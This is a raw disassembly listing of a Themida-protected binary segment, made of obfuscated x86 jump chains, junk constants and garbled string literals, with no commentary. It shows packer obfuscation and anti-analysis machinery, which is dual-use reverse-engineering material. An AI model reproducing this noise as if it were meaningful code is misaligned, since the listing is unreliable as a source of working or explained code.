Themida_:005517B1j mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov eax, 4 add edi, 10544969h add edi, 63DD78CAh add edi, eax push eax jmp loc_562C1E ; --------------------------------------------------------------------------- loc_5599ED: ; CODE XREF: Themida_:00553B8Cj pop edi jmp loc_564606 ; --------------------------------------------------------------------------- db 5Ah dd 8457E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5599FA: ; CODE XREF: Themida_:005518B3j push ecx mov ecx, 22166608h add [esp+4], ecx pop ecx pop ebx push esi jmp loc_54F9AD ; --------------------------------------------------------------------------- dd 5CEB815Ah, 81653A6Ch, 0C45623EBh, 956FE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559A1E: ; CODE XREF: Themida_:0055A31Aj add edx, eax pop eax jmp loc_559E50 ; --------------------------------------------------------------------------- aAFx db '€Ã”X',0 db 0C3h dd 0F18C380h, 0B8E9C0B6h db 8Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_559A37: ; CODE XREF: Themida_:0055132Fj sub edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp jmp loc_55F6DD ; --------------------------------------------------------------------------- db 29h, 0CEh, 59h dd 348BF001h, 4C48124h, 5000000h, 4, 5E78E9h db 0 ; --------------------------------------------------------------------------- loc_559A61: ; CODE XREF: Themida_:0055DA9Bj jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- dd 0F8E9C361h, 6600000Ch, 6824048Bh, 7A8Dh, 54241489h dd 0FF80E7E9h db 0FFh ; --------------------------------------------------------------------------- loc_559A7D: ; CODE XREF: Themida_:005633E0j xor [esp+4], ebp pop ebp pop ebx xor ebx, 6F0D5D16h mov edi, [esp] add esp, 4 push edx mov edx, 30015FC5h jmp loc_55C481 ; --------------------------------------------------------------------------- dw 34FFh dd 6977E924h, 0C483FFFFh, 83C38104h, 5A6EBD7Fh, 5464E9h dd 4C58100h, 87000000h, 248B242Ch, 8B545324h, 0C483241Ch dd 18685004h, 58298A1Bh, 82354840h, 2D3B5466h, 12DE7D96h dd 0B6E9C301h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_559ADF: ; CODE XREF: Themida_:0055F145j and ebp, eax pop eax jmp loc_551447 ; --------------------------------------------------------------------------- db 0B8h dd 691B161Bh, 60172D35h, 58C10163h, 0FF7892E9h, 3E9C1FFh dd 0E902E9C1h, 0FFFFA421h, 1F53EA81h, 815D5F68h, 0EB4F31C2h dd 5FC28108h, 573CEE0Fh, 24348152h, 0ECD5300h, 5F2434FFh dd 6804C483h, 3AF8h, 53240489h, 7815EF68h, 0E3815B69h dd 282E01CBh, 0BABBD55h, 0EB215530h, 3BE3815Dh, 812C6953h dd 0AD51F5C3h, 0E9D8890Eh, 0FFFF9058h, 7B7057B9h, 79E98101h dd 0E90E5F47h, 0FFFF8CA4h ; --------------------------------------------------------------------------- loc_559B68: ; CODE XREF: Themida_:00562909j sub esi, edx add esi, 51637897h pop edx mov edi, esi pop esi push edi pop ebx pop edi and eax, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 shr eax, 0Eh xor eax, ecx xor eax, edx xor edx, eax xor eax, edx jmp loc_556A9F ; --------------------------------------------------------------------------- loc_559B98: ; CODE XREF: Themida_:00550C4Aj add edx, 4 xchg edx, [esp] jmp loc_550CB6 ; --------------------------------------------------------------------------- dw 0C89h dd 0E93FB524h, 790Fh, 8D7624BDh, 9626BB2Dh, 0EB0148A1h dd 58C3315Dh, 0D1E9DF09h db 47h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559BC7: ; CODE XREF: Themida_:0055150Aj pop esp jmp loc_563E0F ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 0B806E95Ch, 0EC83FFFFh, 24348904h, 2997B850h, 0C4E9192Bh dd 0FF000064h, 0E95B2434h, 0FFFFC763h, 559CA01h, 7F091A22h dd 5AE9D001h db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_559BFF: ; CODE XREF: Themida_:0055FEE5j xor edx, [esp] jmp loc_55E50F ; --------------------------------------------------------------------------- loc_559C07: ; CODE XREF: Themida_:0055A1E6j xor esi, 3158B5E2h mov edi, esi pop esi add edx, edi jmp loc_563E15 ; --------------------------------------------------------------------------- loc_559C17: ; CODE XREF: Themida_:005578A8j add [esp+4], ebp jmp loc_55C3C6 ; --------------------------------------------------------------------------- dd 0D2F2815Ah, 422CF528h, 6FAFBD55h, 0B8504137h, 57BE1BEEh dd 0FFA9D0E9h, 5447B8FFh, 0C14002DEh, 132508E0h, 0D177A268h dd 5D0F7E0h, 10E8A47Fh, 6D1FE9h db 0 ; --------------------------------------------------------------------------- loc_559C55: ; CODE XREF: Themida_:00561E8Ej sub esi, ecx jmp loc_5587D4 ; --------------------------------------------------------------------------- dd 4390BE56h, 0ABE91D60h, 5C000039h, 54241489h db 8Bh, 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax jmp loc_550DDF ; --------------------------------------------------------------------------- loc_559C78: ; CODE XREF: Themida_:00552836j pop esi shl edi, 1 add edi, 4C06993Ah mov eax, edi pop edi add eax, 4D5E6E01h add eax, edi sub eax, 4D5E6E01h jmp loc_558522 ; --------------------------------------------------------------------------- db 58h, 52h, 0BAh dd 3B75541Bh, 4DEACA81h, 0E2C11DE2h, 0F2E94208h, 2DFFFF62h dd 4, 2474FF50h, 48F5804h, 0DAE0E924h, 0FE29FFFFh, 0E9243C8Bh dd 3D2h, 0C783CF87h, 54EF8101h, 0E9B46BF8h, 0FFFF5C76h ; --------------------------------------------------------------------------- loc_559CD8: ; CODE XREF: Themida_:0055B551j neg eax neg eax sub eax, 0DBF59FF5h add esi, eax pop eax push eax mov eax, 4 sub esi, eax pop eax push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_55842B ; --------------------------------------------------------------------------- dw 0E289h dd 0FFD6D8E9h, 81E389FFh, 4C3h, 7795E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559D1A: ; CODE XREF: Themida_:00558496j push eax mov eax, 4ED47A9Ch mov ebx, 0C6C3C3D6h jmp loc_55656A ; --------------------------------------------------------------------------- dw 8B58h dd 0C4812414h, 4, 6824148Bh, 67E5h, 89240489h, 6EE956E0h dd 5CFFFFA1h, 0A804A72Ch, 0A82CD828h, 69E9A704h, 1000068h dd 241C8BDDh, 0FFA208E9h, 44E95EFFh, 8100007Dh, 0C15AA0E9h dd 81F90104h, 0C15AA0C1h, 180AE904h, 0BB530000h, 6C110272h dd 6587E381h, 0C3812094h, 5AB30C6Ah, 240CFF53h, 3EBC15Bh dd 68h, 0BB0E900h, 0C8280000h, 0FA2C1004h, 81240C8Bh, 4C4h dd 0FC33000h, 8B66C0B6h, 9F682414h, 89000057h, 5B68243Ch dd 8900006Dh, 0D5E92424h, 1000083h, 7FDDE9E8h, 815DFFFFh dd 4C4h, 4815000h, 0B0651D24h, 0EE815E7Ch, 7CB0651Dh, 0FFB2BFE9h dd 4FE950FFh, 0FFFFFFBBh, 0BEE93C77h, 0C1FFFFECh, 0F38108E3h dd 4C081713h, 686DF381h, 0E3813E98h, 1CD21B83h, 5504E3C1h dd 0DE6FE4BDh, 0E9EB01B6h, 0FFFFDE78h ; --------------------------------------------------------------------------- loc_559E20: ; CODE XREF: Themida_:005589EFj sub esi, 36057AD2h add esi, ebp push edi jmp loc_55F8A6 ; --------------------------------------------------------------------------- dw 1C89h dd 24348B24h, 0E904C483h, 8E20h, 240C8B5Ah, 5E08950h, 4 dd 0E904C083h, 0FFFF82E1h ; --------------------------------------------------------------------------- loc_559E50: ; CODE XREF: Themida_:00559A21j dec edx sub edx, 155E60Fh jmp loc_55345B ; --------------------------------------------------------------------------- dd 5CFAE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559E62: ; CODE XREF: Themida_:0055D327j push 2C6h mov [esp], edi push edx jmp loc_54F73E ; --------------------------------------------------------------------------- dd 4EC81h, 0C890000h, 2474FF24h, 2434FF04h, 0FF6962E9h db 0FFh ; --------------------------------------------------------------------------- loc_559E85: ; CODE XREF: Themida_:00559882j sub ebx, 62C68E4h xor ebx, 0EC2971BDh mov ebp, ebx pop ebx sub eax, 6EFB34FEh add eax, ebp add eax, 6EFB34FEh pop ebp jmp loc_55F001 ; --------------------------------------------------------------------------- loc_559EA6: ; CODE XREF: Themida_:005562F3j sub ebp, 0FB12C822h mov ecx, ebp pop ebp shl ecx, 3 shr ecx, 3 jmp loc_55924C ; --------------------------------------------------------------------------- dw 0DE01h aHvm db '[hvm',0 align 2 dw 1C89h dd 48ACBB24h, 0E381705Ah, 40B44FFBh, 1C381h, 0EBC10000h dd 78EB8107h, 0E92E8F53h, 36E6h, 4C781h, 0C7830000h, 243C3304h dd 33243C31h, 8F5C243Ch, 248B2404h, 0C8BF0F24h, 4EC81h dd 3C890000h, 99E95424h db 6Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_559F0F: ; CODE XREF: Themida_:00564590j push ecx jmp loc_54FAF5 ; --------------------------------------------------------------------------- loc_559F15: ; CODE XREF: Themida_:00553336j mov [esp], esi push 3759h jmp loc_54FA38 ; --------------------------------------------------------------------------- dw 0D101h dd 95BAE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559F2A: ; CODE XREF: Themida_:005581EBj push 2E83h mov [esp], ecx push esp jmp loc_558A47 ; --------------------------------------------------------------------------- loc_559F38: ; CODE XREF: Themida_:0055D7C7j mov ah, 3Fh shr ah, 2 or ah, 90h sub ah, 1 jmp loc_550719 ; --------------------------------------------------------------------------- loc_559F48: ; CODE XREF: Themida_:0055A0EAj and ebx, 6215764Fh inc ebx add ebx, 0F0F84A02h or ebp, ebx pop ebx inc ebp sub ebp, 0F7B9C4A6h push ebp mov ebp, 34C05F58h sub ebx, ebp pop ebp add ebx, ebp add ebx, 34C05F58h mov ebp, [esp] add esp, 4 add ebp, ebx pop ebx add ebp, 2 xchg ebp, [esp] pop esp mov ax, [esp] push esi mov esi, esp jmp loc_553877 ; --------------------------------------------------------------------------- db 45h dd 0E9C1E987h, 4EC8106h, 89000000h, 0A3E9241Ch, 810000A0h dd 4ECh, 11E0E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559FAE: ; CODE XREF: Themida_:0055CA7Dj mov eax, edx push eax xor dword ptr [esp], 486763CCh pop esi xor esi, 486763CCh jmp loc_550A09 ; --------------------------------------------------------------------------- loc_559FC4: ; CODE XREF: Themida_:00562D3Bj mov esp, [esp] push edx mov edx, 25F3656Ch sub edx, 7D306AECh jmp loc_55BB27 ; --------------------------------------------------------------------------- loc_559FD8: ; CODE XREF: Themida_:005610C1j mov ebp, [esp] push edi mov edi, esp jmp loc_557F08 ; --------------------------------------------------------------------------- aMsJ db '¬éÏJ',0 dd 4BE95800h, 0FFFFFFA7h, 669D1C77h, 2414D359h, 536FE99Ch dd 0E289FFFFh, 4C281h, 0BE560000h, 2D752788h, 278CF681h dd 0D3E92D75h, 5000007Dh, 405E089h, 57000000h, 2BFh, 5FF82900h dd 31240433h, 0D1E92404h, 5B000063h, 8324048Bh, 0EC8304C4h dd 24148904h, 42474FFh, 24048F5Ah, 68F1F75Ch, 7195h, 0FF8D5CE9h dd 81C201FFh, 0A810E8C2h, 0BCB9517Ch, 0C1174340h, 0E98308E1h dd 0FCBA52FFh, 0E971B956h, 3E2Dh ; --------------------------------------------------------------------------- loc_55A074: ; CODE XREF: Themida_:005549BAj sub esp, 4 mov [esp], ebx mov ebx, 2A44205Ah mov ecx, 57CB7356h sub ecx, ebx pop ebx inc ecx push edi jmp loc_559514 ; --------------------------------------------------------------------------- db 5Ch, 89h, 14h dd 0EE10E924h, 0C481FFFFh, 4, 9AAAE9h, 25976800h, 24890000h dd 4BE5624h, 1000000h, 5E042474h, 6824048Fh, 3101h, 0E9243489h dd 4F9Dh ; --------------------------------------------------------------------------- loc_55A0C8: ; CODE XREF: Themida_:0055E690j mov eax, ebp pop ebp xor eax, 104C660Bh dec eax dec eax not eax dec eax xor eax, 0A78A840Eh xor ebx, eax pop eax or ebx, 749B23A8h sub ebx, 23010BEFh inc ebx jmp loc_559F48 ; --------------------------------------------------------------------------- db 43h dd 4BE8EB81h, 0B505FB10h, 11A1D0Ah, 4EC83D8h, 0BD242C89h dd 1A1D0AB5h, 0E95DE829h, 29DBh, 88241489h, 871488CAh dd 5A2434FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 sub esp, 4 mov [esp], ebp push esp pop ebp jmp loc_562B49 ; --------------------------------------------------------------------------- loc_55A14E: ; CODE XREF: Themida_:00558C2Fj dec esi jmp loc_557F5F ; --------------------------------------------------------------------------- dd 5EE9CAFEh, 5C00009Ch, 0FFA702E9h, 0E9C301FFh, 0FFFFE7A1h dd 0C2489BBh, 0D3F74B6Eh, 6856D3F7h, 53924419h, 5EF3095Eh dd 0EC81DBF7h, 4, 0E9243489h, 0FFFF70DDh, 6AE95052h, 1FFFF78h dd 0E3C581FDh, 0E9425225h, 971Ah, 0BE243489h, 63424B6Bh dd 0D41F681h, 0F5293724h, 87F5875Eh, 87D3F7DEh, 45F587DEh dd 814DDDF7h, 0D66014C5h, 5DEF015Dh, 0F639EF81h, 43E95D10h db 87h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A1D3: ; CODE XREF: Themida_:00555DD1j push ebp push 62432DB5h pop ebp add ebp, 0A1AB4AA3h mov edi, ebp pop ebp sub esi, edi pop edi jmp loc_559C07 ; --------------------------------------------------------------------------- db 8Bh dd 0C481243Ch, 4, 16E95751h, 68FFFF6Eh, 4E3Dh, 0BB241C89h dd 1A06496h, 0CB81DBF7h, 185055EFh, 4554CB81h, 0CB817FF9h dd 40B20CC0h, 68A2E381h, 0EB817343h, 2E1F1B98h, 0FF69D3E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A22D: ; CODE XREF: Themida_:00552E0Fj sub ebp, 1654434Fh jmp loc_5594F5 ; --------------------------------------------------------------------------- dd 3C8BFA89h, 0B491E924h, 0D1B9FFFFh, 31224C08h, 4C015BD9h dd 0ABE90424h, 59000038h, 9081E9h, 1A222D00h, 0E1E97F09h db 0B1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A263: ; CODE XREF: Themida_:005643E9j add eax, esi push dword ptr [esp] pop esi push 5280h jmp loc_563E8D ; --------------------------------------------------------------------------- db 81h dd 4C4h, 24048B00h, 0FF6374E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A281: ; CODE XREF: Themida_:00561B29j push eax mov eax, 21C57572h xor edi, eax pop eax jmp loc_5548E5 ; --------------------------------------------------------------------------- aSiusib db 'S‰ãéˆB',0 dw 6600h dd 5024048Bh, 3D63E9h, 72E95B00h db 9Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A2A7: ; CODE XREF: Themida_:00555101j add esp, 4 or eax, eax jmp loc_55CF8E ; --------------------------------------------------------------------------- dd 5C241433h, 0FF2434FFh, 0C8B2434h, 4C48324h, 8904EC83h dd 5D54242Ch, 4C581h, 50570000h, 0D85DE9B8h, 17D6E96Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A2DE: ; CODE XREF: Themida_:005588D0j push edx jmp loc_5515F2 ; --------------------------------------------------------------------------- dd 8307B353h, 48904ECh, 0D0ECE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A2F2: ; CODE XREF: Themida_:0055FDABj mov edx, edi pop edi inc edx push eax mov eax, 42860EC9h shr eax, 2 push edi mov edi, 0 sub edi, eax xchg eax, edi pop edi neg eax xor eax, 6208240Fh or eax, 211C4C86h xor eax, 2D249F89h jmp loc_559A1E ; --------------------------------------------------------------------------- loc_55A31F: ; CODE XREF: Themida_:00558625j mov [esp], ebx push esp mov ebx, [esp] add esp, 4 add ebx, 4 push 527Bh mov [esp], eax mov eax, 4 jmp loc_55576B ; --------------------------------------------------------------------------- db 5Dh, 43h, 0E9h dd 0FFFFD45Fh, 29685255h, 5A19F800h, 815AD589h, 0A179D0C5h dd 5DEF8954h, 0CF81E7D1h, 712D73A1h, 2C7814Fh, 31C4B398h dd 243C8BF9h, 0FFC81AE9h db 0FFh ; --------------------------------------------------------------------------- loc_55A375: ; CODE XREF: Themida_:00560BA0j or ecx, ebx pop ebx push eax mov eax, 6E7E2ABEh sub ecx, eax pop eax jmp loc_55FAD1 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4835824h, 24048F04h, 0FFDCCFE9h, 81E589FFh, 4C5h dd 4C58100h, 33000000h, 2C31242Ch, 242C3324h, 0BA52565Ch dd 3D7511EDh, 4B5BC281h, 65E9E81Dh db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A3BF: ; CODE XREF: Themida_:0055E193j sub al, ch pop ecx add al, 2Ah push cx push 31FDh mov [esp], ebx mov bl, 0F5h push eax sub esp, 4 mov [esp], ecx mov ch, bl mov ah, ch push dword ptr [esp] pop ecx add esp, 4 jmp loc_5512FA ; --------------------------------------------------------------------------- loc_55A3E7: ; CODE XREF: Themida_:0055BDD5j pop dword ptr [esp] pop esp mov [esp], ax jmp loc_54F36D ; --------------------------------------------------------------------------- loc_55A3F4: ; CODE XREF: Themida_:0055570Bj sub ebx, 76B06405h jmp loc_562A2A ; --------------------------------------------------------------------------- loc_55A3FF: ; CODE XREF: Themida_:005548E0j pop esp mov [esp], edi mov edi, 1FC915B6h not edi push ecx mov ecx, 6FC6678Fh shl ecx, 2 and ecx, 2767200Fh jmp loc_557A02 ; --------------------------------------------------------------------------- dw 0C781h dd 0E52D4F5Ah, 0E95FFD29h, 0FFFFEBA8h, 725268h, 243C8900h dd 2BFh, 0A0C38100h, 13ED75Ch, 0A0EB81FBh, 8B3ED75Ch, 4CE9243Ch dd 68000017h, 7C9Ah, 0E9240C89h, 0FFFFAF18h, 24048B66h dd 0E9E08950h, 1B8Eh ; --------------------------------------------------------------------------- loc_55A468: ; CODE XREF: Themida_:0055C9FFj neg eax push ecx mov ecx, 785A1737h sub ecx, 1C8AE3D0h xor eax, ecx jmp loc_55BB58 ; --------------------------------------------------------------------------- db 68h, 0DEh, 7Fh dd 89E90000h, 0C1FFFFFCh, 0DBF706EBh, 31B1E9h, 5DEB0100h dd 31241C33h, 0DDE9241Ch, 5CFFFF76h, 24148966h, 0EEC08DB6h dd 2A6EE905h, 8B660000h, 89562404h, 93F5E9E6h, 0AEE90000h dd 0B1FFFF4Eh, 66CF3046h, 4EC8159h, 0E9000000h, 0FFFFF6D6h dd 76D46866h, 240C8966h, 4C0001B1h, 4BE90224h db 76h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A4E3: ; CODE XREF: Themida_:00553EB0j add dword ptr [esp], 4 jmp loc_55FC73 ; --------------------------------------------------------------------------- loc_55A4EF: ; CODE XREF: Themida_:0055FF4Bj mov ecx, 4 sub ebp, ecx pop ecx xor ebp, [esp] xor [esp], ebp jmp loc_55403A ; --------------------------------------------------------------------------- dw 148Bh dd 9786E924h, 0F008FFFFh, 0FFF4E2E9h, 2C783FFh, 31243C33h dd 3C33243Ch, 68515C24h, 27D0h, 0FF9CA5E9h, 2474FFFFh dd 2434FF04h, 4EC8358h, 358CE9h, 7C926800h, 3C890000h dd 7EA5BF24h, 0EF81046Ah, 11BE2566h, 433EC781h, 7E681D79h dd 89000049h, 0C7BE2434h, 46648040h, 53D6F74Eh, 0FFFFFFBBh dd 8BDE29FFh, 8E9241Ch, 0B9000036h, 7FB636B2h, 0FFDE65E9h dd 5685CFFh, 8900001Ah, 6851241Ch, 21E70FEFh, 0E9240C8Bh dd 24D5h, 0FC32C381h, 0B951BEBCh, 1AEE6345h, 285EE9h, 3D976800h dd 24890000h, 24048324h, 24148B04h, 0E904C483h, 0FFFF5485h ; --------------------------------------------------------------------------- loc_55A5BC: ; CODE XREF: Themida_:005545DCj or eax, eax jz loc_561613 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_5601D8 ; --------------------------------------------------------------------------- db 58h dd 9D4F0540h, 0E2E97000h, 53000092h, 0DB548C68h, 241C8B38h dd 4C481h, 0B0E90000h, 68000089h, 5ADAh, 0FF240489h, 58042474h dd 5C24048Fh, 272CE9h, 241C8B00h, 104C483h, 33BD55D8h dd 4D23D564h, 0FF5743E9h, 42F281FFh, 897B0953h, 24148BD5h dd 104C483h, 242C8BEAh, 5585450h, 4, 405h, 24048700h, 5624248Bh dd 2BEh, 5EF20100h, 76DCE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A65A: ; CODE XREF: Themida_:00552D1Ej pop ax jmp loc_55E190 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 5BF7E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A66A: ; CODE XREF: Themida_:0055725Dj sub esp, 4 mov [esp], esi jmp loc_561F11 ; --------------------------------------------------------------------------- aITlWt_sxl db '‰,$T‹,$WT_éX‹',0 align 4 loc_55A684: ; CODE XREF: Themida_:0055E88Dj add ecx, 4EC66883h jmp loc_5613F3 ; --------------------------------------------------------------------------- loc_55A68F: ; CODE XREF: Themida_:005525A3j push ebp push dword ptr [esp+4] mov ebp, [esp] jmp loc_552C89 ; --------------------------------------------------------------------------- loc_55A69C: ; CODE XREF: Themida_:00555796j add esi, 94CCEF9Ah mov eax, esi mov esi, [esp] push edi mov edi, esp add edi, 4 push edx mov edx, 4 add edi, edx jmp loc_554DAE ; --------------------------------------------------------------------------- db 1, 0D8h, 5Bh dd 0AE46D72Dh, 0E289525Dh, 4C281h, 0EA830000h, 24148704h dd 241C895Ch, 7DF6E9h, 8BDE3100h, 0C481241Ch, 4, 215EF089h dd 24048BC1h, 119668h, 24048900h, 405E089h, 5000000h, 4 dd 5C240487h, 248CE9h db 0 ; --------------------------------------------------------------------------- loc_55A70D: ; CODE XREF: Themida_:0055ECDEj shl eax, 6 add eax, 246DB144h add ebp, eax mov eax, [esp] add esp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub ax, di jmp loc_558EDA ; --------------------------------------------------------------------------- loc_55A72F: ; CODE XREF: Themida_:00550EECj add esi, ebp pop ebp jmp loc_55C7CF ; --------------------------------------------------------------------------- db 5Bh dd 0E981D101h, 629D79CCh, 8124148Bh, 4C4h, 4EC8300h, 7D37E9h dd 0ECBD5500h, 0E9646701h, 0FFFFDB85h, 8EE95256h, 55000087h dd 3D536850h, 34890000h, 2791E924h, 14310000h, 24143324h dd 2C7815Ch, 33000000h, 3C31243Ch, 243C3324h, 6624248Bh dd 5624048Bh, 0B951E689h, 339F7E06h, 0FF88FFE9h db 0FFh ; --------------------------------------------------------------------------- loc_55A79D: ; CODE XREF: Themida_:005504E3j pop eax push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] push 29B7h mov [esp], ecx push edx mov dh, 9Ah jmp loc_555D09 ; --------------------------------------------------------------------------- loc_55A7BA: ; CODE XREF: Themida_:00563B69j pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ebx push 1947h mov [esp], edi push 6F0Dh jmp loc_561597 ; --------------------------------------------------------------------------- loc_55A7D8: ; CODE XREF: Themida_:005532B0j sub ecx, 794D6B1Eh mov ebp, ecx pop ecx push eax mov eax, 2B718AFDh mov esi, eax jmp loc_55EDB3 ; --------------------------------------------------------------------------- dw 4BEh dd 1000000h, 0F2E95EF3h, 8900001Ch, 20E92414h, 6600006Dh dd 5024148Bh, 30E9E089h db 95h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A80F: ; CODE XREF: Themida_:005566ABj mov ebp, 0 jmp loc_556830 ; --------------------------------------------------------------------------- aAdSS db '¹Ûad;Áé',7,'é',0 aU_0 db 'U',0 align 2 loc_55A826: ; CODE XREF: Themida_:0054F478j add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_55175D ; --------------------------------------------------------------------------- loc_55A837: ; CODE XREF: Themida_:0055A8E2j push dx mov dl, bl jmp loc_55DC56 ; --------------------------------------------------------------------------- loc_55A840: ; CODE XREF: Themida_:005586ACj mov [esp], ebp mov ebp, 4277759Dh mov edi, ebp jmp loc_556E41 ; --------------------------------------------------------------------------- db 0F7h dd 5FB850D6h, 29E9DE46h, 4E958C6h, 66FFFF8Ah, 8166CE01h dd 8B3EF2C6h, 0C483240Ch, 0EEDBE904h, 0ED80FFFFh, 59E80075h dd 73E9742Ch, 0B8000057h, 5FC068B1h, 8158C101h, 8C4FF1E9h dd 81E90166h, 8C4FF1C1h, 9FB85066h, 0C161F072h, 0F3E903E8h dd 0F6000069h, 999E9D8h, 0C890000h, 6EB4E924h, 0C6810000h dd 4, 0CB92E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 2 xchg ebp, [esp] pop esp sub al, bl push ecx push small 77E2h mov [esp], bx mov bh, 57h mov ch, bh pop bx jmp loc_55A837 ; --------------------------------------------------------------------------- loc_55A8E7: ; CODE XREF: Themida_:00562937j sub edx, 59855E07h pop ecx shl edx, 2 sub edx, 1 jmp loc_557F9F ; --------------------------------------------------------------------------- loc_55A8FC: ; CODE XREF: Themida_:00554456j xchg ebx, [esp] jmp loc_56321F ; --------------------------------------------------------------------------- dd 2FBE781h, 0BB537688h, 49BA5B0Dh, 835BDF01h, 0C0E904ECh db 0D5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A91B: ; CODE XREF: Themida_:00557C63j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] jmp loc_55AF1D ; --------------------------------------------------------------------------- db 83h, 0C2h, 4 dd 0E9241487h, 57B2h ; --------------------------------------------------------------------------- loc_55A938: ; CODE XREF: Themida_:0055EA27j mov ecx, 59C83418h sub ecx, 72972935h add ecx, 5FCF279Ch jmp loc_558EF2 ; --------------------------------------------------------------------------- dw 1C29h dd 535FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A956: ; CODE XREF: Themida_:00559725j shr ebx, 8 jmp loc_562F66 ; --------------------------------------------------------------------------- dw 34FFh dd 0E9565824h, 0FFFF7A9Fh ; --------------------------------------------------------------------------- loc_55A968: ; CODE XREF: Themida_:00559473j push edi mov edi, 7069534Ch sub edi, 413C0F36h push ecx mov ecx, 73D20CE9h xor edi, ecx jmp loc_55CA4C ; --------------------------------------------------------------------------- db 80h, 0E1h, 28h dd 8068E180h, 0E9805DF1h, 59CE8886h, 2C62EE80h, 4F00056h dd 3A1EE956h, 835A0000h, 515004C4h, 0E888DD88h, 0AC2EE959h dd 0E689FFFFh, 4C681h, 0C6830000h, 897DE904h, 5248FFFFh dd 448D7BAh, 3EAC13Fh, 4DFC68h, 24048900h, 5BE9BF57h, 8E93CBCh db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A9DB: ; CODE XREF: Themida_:0054F56Bj sub ecx, edi jmp loc_5607FB ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0EB81D3F7h, 3CC977B2h, 0FF99E6E9h, 5BD801FFh, 8704C083h dd 505C2404h, 24048B54h, 0FF939AE9h, 0E9E388FFh, 0FFFFB9ADh dd 89242C89h, 4EC81E5h, 0E9000000h, 917Ah ; --------------------------------------------------------------------------- loc_55AA20: ; CODE XREF: Themida_:00552B31j mov [esp], eax mov eax, esp add eax, 4 push ebx jmp loc_554FAE ; --------------------------------------------------------------------------- aTh db 'Ñâh,>',0 dw 0E900h dd 0FFFFA1C9h, 8B5FF829h, 0C4832414h, 4EC8104h, 89000000h dd 0B8E9243Ch, 1000020h, 31E958C5h db 7Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AA5B: ; CODE XREF: Themida_:0055E955j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add dword ptr [esp+4], 1BEC3260h add [esp+4], ebp sub dword ptr [esp+4], 1BEC3260h sub esp, 4 mov [esp], ecx mov ecx, 2C00624Eh add [esp+8], ecx jmp loc_564489 ; --------------------------------------------------------------------------- db 31h, 0EEh, 8Bh db 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_552579 ; --------------------------------------------------------------------------- dw 4040h dd 5DDD8005h, 8CC381D3h, 1701310h, 8CEB81C3h, 58701310h dd 4B951h, 0CB290000h, 241C8759h, 0C6E8E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AACA: ; CODE XREF: Themida_:005577EBj pop dword ptr [esp] mov esp, [esp] mov [esp], ebp push 0FFFFFFFFh pop ebp sub [esp+4], ebp mov ebp, [esp] push ebp push esp pop ebp add ebp, 4 push esi push ecx mov ecx, 4 jmp loc_55FC10 ; --------------------------------------------------------------------------- db 81h, 0C1h, 58h dd 52079B5Ah, 386120BAh, 40EA8169h, 8161E50Fh, 0B810F1C1h dd 52D1297Ah, 0B810F1BAh, 9F38E97Ah, 0CD81FFFFh, 4C616A8h dd 0EF86ED81h, 0E829E82Ch, 335B595Dh, 4312404h, 24043324h dd 6824248Bh, 54CEh, 0FF5C79E9h, 5E0C1FFh, 0C8CE0C05h dd 9C1AE92Ah, 0EC81FFFFh, 4, 81242489h, 42404h, 685F0000h dd 0F8Dh, 0FF4D3BE9h, 4EC81FFh, 0E9000000h, 58C1h ; --------------------------------------------------------------------------- loc_55AB74: ; CODE XREF: Themida_:0055FC1Dj add esp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_55765C ; --------------------------------------------------------------------------- loc_55AB85: ; CODE XREF: Themida_:005572B2j push eax mov eax, 2 sub ebp, 42E0FBAh add ebp, 6FD75D9h add ebp, eax 